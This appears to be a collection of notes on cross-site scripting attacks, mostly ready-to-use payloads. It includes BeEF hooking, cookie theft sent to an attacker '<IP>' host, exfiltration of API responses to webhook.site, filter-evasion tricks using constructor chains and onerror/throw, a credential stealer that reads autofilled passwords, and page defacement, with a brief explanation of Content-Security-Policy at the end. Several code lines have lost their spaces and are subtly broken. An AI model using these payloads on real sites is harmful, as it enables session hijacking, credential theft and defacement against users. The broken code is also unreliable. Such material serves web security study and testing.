Very powerful combined with XSS vulnerability. BeEF is able to provide a URL that if opened by the victim is able to establish a link (HOOK).
Edit /etc/beef-xss/config.yaml or beef/config.yaml
var i=newImage();i.src="http://<IP>?log="+document.cookie;newImage().src="http://<IP>?log="+document.cookie;
(async () => {let x =awaitfetch("/api/target").then(res =>res.text()); window.location="https://webhook.site/"+btoa(x)})()
It is essential to repair the script following the XSS context, because any syntax errors there will prevent the whole script from executing.
Trigger
<script>XSS<script>
<imgsrc=xonerror=XSS> <svgonload=XSS><!-- Other tags like <body> <iframe>, and other events etc. -->
<objectdata="data:text/html,<script>XSS</script>"><objectdata="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="><!-- Even with <embed src=...> -->
// Object.Array.Function(XSS Vector)// Instead of [] you can use: “” ''// Instead of constructor also: map at// In the first version in both positions (with alert(1))// In the second only in the first constructor (with 'alert(1)')[].constructor.constructor(alert(1))[].constructor.constructor('alert(1)')()''.at.at(alert(1))''.at.constructor('alert(1)')()
[]['map']['map'](alert(1))[]['map']['constructor']('alert(1)')()// in this way I can use encoding
window[alert(1)]window[’alert’](1)// Instead of window also: this, top, globalThis
'accesskey='X'onclick='alert(1)# (ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
Script tag (the browser first performs HTML parsing to identify the page elements including blocks of script, and only later performs JavaScript parsing to understand and execute the embedded scripts)
onerror=alert;throw1{onerror=alert}throw1throw onerror=alert,'some string',123,'aaaa'// Chrome prefixes the string sent to the exception handler with "Uncaught"// On Firefox the exception gets prefixed with a two word string "uncaught exception"{onerror=eval}throw'=alert\x281337\x29'// Uncaught=alert(1337){onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'} // Firefox{onerror=prompt}throw{lineNumber:1,columnNumber:1,fileName:'second argument',message:'first argument'}throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']
// Use with <svg> tag (no CDATA, it is based on XML and does the encoding)// They usually work in “” and ‘’.\u0061lert(1) // Unicodealert(1) // Hexadecimal NCR alert(1) // Decimal NCR \141lert(1) // Octal \x61lert(1) // Hexadecimal
It occurs when the XSS vulnerability is triggered on a page we do not have access to. This means that we will not see how our input will be handled or how it will appear in the browser.
These days, many users have password managers that auto-fill their passwords. You can take advantage of this by creating a password input, reading out the auto-filled password, and sending it to your own domain.
<inputtype="text"name="username"><inputtype="password"name="password"onchange="dothis()"><script>functiondothis() {var username =document.getElementsByName('username')[0].valuevar password =document.getElementsByName('password')[0].valuevar token =document.getElementsByName('csrf')[0].valuevar data =newFormData();data.append('csrf', token);data.append('postId',8); data.append('comment',`${username}:${password}`);fetch('/post/comment', { method:'POST', mode:'no-cors', body: data }); };</script>
Defacing
Change the appearance of the web page.
This is done through JavaScript functions; the same elements can be written differently and perhaps more compactly with jQuery if present.
document.getElementById("todo").innerHTML = "New Text"document.getElementsByTagName('body')[0].innerHTML = "New Text"(change the first body, usually the only one)
Browser security mechanism that aims to mitigate XSS and some other attacks.
HTTP response header called Content-Security-Policy with a value containing the policy. The policy itself consists of one or more directives, separated by semicolons.
"script-src-elem" directive allows you to control just script blocks and was created so that you can allow event handlers but block script elements (it will overwrite existing script-src directives!).